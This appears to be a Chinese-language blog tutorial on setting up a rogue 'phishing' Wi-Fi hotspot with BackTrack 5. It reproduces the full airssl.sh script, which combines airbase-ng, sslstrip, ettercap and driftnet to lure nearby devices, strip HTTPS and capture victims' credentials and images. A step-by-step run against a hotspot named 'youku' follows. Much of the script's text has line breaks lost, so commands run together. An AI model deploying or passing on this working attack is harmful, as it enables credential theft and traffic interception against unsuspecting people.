BackTrack，是一套專業的計算機安全檢測的Linux操作系統，簡稱BT。它破解WEP，WPA/WPA2加密方式的無線網絡也不在話下，當然前提是需要有足夠強大的密碼字典文件。本文作者Jn分享瞭如何利用Back Track5建立“釣魚”熱點。
1、 配置靜態IP
修改/etc/network/interfaces文件
auto eth0 iface eth0 inet static address 192.168.3.100 gateway 192.168.3.1 netmask 255.255.255.0
重新加載網卡。
root@bt:~# /etc/init.d/networking restart
1、 修改源列表，理由：解決apt-get命令使用時碰到的奇怪問題。
首先備份源列表
sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup
修改/etc/apt/sources.lis
刷新列表:
sudo apt-get update
備註：最新源列表見：http://wiki.ubuntu.org.cn/%E6%BA%90%E5%88%97%E8%A1%A8
3、安裝sslstrip
進入/pentest/web/sslstrip目錄，執行安裝命令：
python setup.py install
4、DHCP的安裝與配置：
安裝 dhcp3 服務器:sudo apt-get install dhcp3-server
配置 dhcp3 服務，文件/etc/dhcp3/dhcpd.conf，根據自己實際情況來修改文件。
subnet 192.168.3.0 netmask 255.255.255.0 {
range 192.168.3.60 192.168.3.100;
option domain-name-servers ns1.internal.example.org;
option domain-name "internal.example.org";
option routers 192.168.3.1;
option broadcast-address 192.168.3.100;
default-lease-time 600;
max-lease-time 7200;
}
重新啓動服務sudo /etc/init.d/dhcp3-server restart
更改 dhcp3 服務監聽的網卡，修改/etc/default/dhcp3-server文件
INTERFACES="eth0"
找一臺機器試試可以獲取DHCP服務IP地址波
5、建立AP熱點
到root目錄下創建air文件夾
在以airssl.sh文件名，創建一個文件，以下是airssl.sh文件裏面的內容：
#!/bin/bash# opyright 2009 - killadaninja - Modified G60Jon 2010# airssl.sh - v1.0# visit the man page NEW SCRIPT Capturing Passwords With sslstrip AIRSSL.sh # Network questionsecho
echo "AIRSSL 2.0 - Credits killadaninja & G60Jon "echo
route -n -A inet | grep UG
echo
echo
echo "Enter the networks gateway IP address, this should be listed above. For example 192.168.0.1: "read -e gatewayip
echo -n "Enter your interface that is connected to the internet, this should be listed above. For example eth1: "read -e internet_interface
echo -n "Enter your interface to be used for the fake AP, for example wlan0: "read -e fakeap_interface
echo -n "Enter the ESSID you would like your rogue AP to be called: "read -e ESSID
airmon-ng start $fakeap_interface
fakeap=$fakeap_interface
fakeap_interface="mon0" # Dhcpd creationmkdir -p "/pentest/wireless/airssl"echo "authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name "\"$ESSID\"";
option domain-name-servers 10.0.0.1;
range 10.0.0.20 10.0.0.50;
}" > /pentest/wireless/airssl/dhcpd.conf
# Fake ap setupecho "[+] Configuring FakeAP...."echo
echo "Airbase-ng will run in its most basic mode, would you like to
configure any extra switches? "echo
echo "Choose Y to see airbase-ng help and add switches. "echo "Choose N to run airbase-ng in basic mode with your choosen ESSID. "echo "Choose A to run airbase-ng in respond to all probes mode (in this mode your choosen ESSID is not used, but instead airbase-ng responds to all incoming probes), providing victims have auto connect feature on in their wireless settings (MOST DO), airbase-ng will imitate said saved networks and slave will connect to us, likely unknowingly. PLEASE USE THIS OPTION RESPONSIBLY. "echo "Y, N or A "
read ANSWER
if [ $ANSWER = "y" ] ; thenairbase-ng --helpfi if [ $ANSWER = "y" ] ; thenecho
echo -n "Enter switches, note you have already chosen an ESSID -e this cannot be
redefined, also in this mode you MUST define a channel "read -e aswitch
echo
echo "[+] Starting FakeAP..."xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng "$aswitch" -e "$ESSID" $fakeap_interface & fakeapid=$!sleep 2fi if [ $ANSWER = "a" ] ; thenecho
echo "[+] Starting FakeAP..."xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -P -C 30 $fakeap_interface & fakeapid=$!sleep 2fi if [ $ANSWER = "n" ] ; thenecho
echo "[+] Starting FakeAP..."xterm -geometry 75x15+1+0 -T "FakeAP - $fakeap - $fakeap_interface" -e airbase-ng -c 1 -e "$ESSID" $fakeap_interface & fakeapid=$!sleep 2fi # Tablesecho "[+] Configuring forwarding tables..."ifconfig lo up
ifconfig at0 up &sleep 1ifconfig at0 10.0.0.1 netmask 255.255.255.0ifconfig at0 mtu 1400route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to $gatewayip
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface $internet_interface -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 # DHCPecho "[+] Setting up DHCP..."touch /var/run/dhcpd.pid
chown dhcpd:dhcpd /var/run/dhcpd.pid
xterm -geometry 75x20+1+100 -T DHCP -e dhcpd3 -d -f -cf "/pentest/wireless/airssl/dhcpd.conf" at0 & dchpid=$!sleep 3 # Sslstripecho "[+] Starting sslstrip..."xterm -geometry 75x15+1+200 -T sslstrip -e sslstrip -f -p -k 10000 & sslstripid=$!sleep 2 # Ettercapecho "[+] Configuring ettercap..."echo
echo "Ettercap will run in its most basic mode, would you like to
configure any extra switches for example to load plugins or filters,
(advanced users only), if you are unsure choose N "echo "Y or N "read ETTERif [ $ETTER = "y" ] ; thenettercap --helpfi if [ $ETTER = "y" ] ; thenecho -n "Interface type is set you CANNOT use "\"interface type\"" switches here
For the sake of airssl, ettercap WILL USE -u and -p so you are advised
NOT to use -M, also -i is already set and CANNOT be redifined here.
Ettercaps output will be saved to /pentest/wireless/airssl/passwords
DO NOT use the -w switch, also if you enter no switches here ettercap will fail "echo
read "eswitch"echo "[+] Starting ettercap..."xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u "$eswitch" -T -q -i at0 & ettercapid=$!sleep 1fi if [ $ETTER = "n" ] ; thenecho
echo "[+] Starting ettercap..."xterm -geometry 73x25+1+300 -T ettercap -s -sb -si +sk -sl 5000 -e ettercap -p -u -T -q -w /pentest/wireless/airssl/passwords -i at0 & ettercapid=$!sleep 1fi # Driftnetecho
echo "[+] Driftnet?"echo
echo "Would you also like to start driftnet to capture the victims p_w_picpaths,
(this may make the network a little slower), "echo "Y or N "read DRIFT
if [ $DRIFT = "y" ] ; thenmkdir -p "/pentest/wireless/airssl/driftnetdata"echo "[+] Starting driftnet..."driftnet -i $internet_interface -p -d /pentest/wireless/airssl/driftnetdata & dritnetid=$!sleep 3fi
xterm -geometry 75x15+1+600 -T SSLStrip-Log -e tail -f sslstrip.log & sslstriplogid=$!
clear
echo
echo "[+] Activated..."echo "Airssl is now running, after slave connects and surfs their credentials will be displayed in ettercap. You may use right/left mouse buttons to scroll up/down ettercaps xterm shell, ettercap will also save its output to /pentest/wireless/airssl/passwords unless you stated otherwise. Driftnet p_w_picpaths will be saved to /pentest/wireless/airssl/driftftnetdata "echo
echo "[+] IMPORTANT..."echo "After you have finished please close airssl and clean up properly by hitting Y,
if airssl is not closed properly ERRORS WILL OCCUR "read WISH
# Clean upif [ $WISH = "y" ] ; thenecho
echo "[+] Cleaning up airssl and resetting iptables..."
kill ${fakeapid}kill ${dchpid}kill ${sslstripid}kill ${ettercapid}kill ${dritnetid}kill ${sslstriplogid}
airmon-ng stop $fakeap_interface
airmon-ng stop $fakeap
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo "[+] Clean up successful..."echo "[+] Thank you for using airssl, Good Bye..."exit
fiexit爲airssl.sh添加執行權限
root@bt:~/air# chmod 777 airssl.sh
最後執行airssl.sh文件。再執行(相關輸入輸入)
root@bt:~/air# ./airssl.sh
輸入出口的網關地址,列如我的網關地址是：192.168.3.1 回車。
輸入那個可以連接互聯網的接口，列如我的是：eth0回車。
創建AP熱點使用的接口，列如我的是：wlan0 回車。
創建AP熱點的ESSID，就是你共享無線的名字，列如我的是：youku 回車。
自己翻譯，輸入n 回車。
會跳出此界面
自己翻譯，輸入n 回車。
又多一個Ettercap
自己翻譯，輸入y 回車。
多了一個driftnet
找一部手機來測試一下。
可以連接到“youku”這個無線。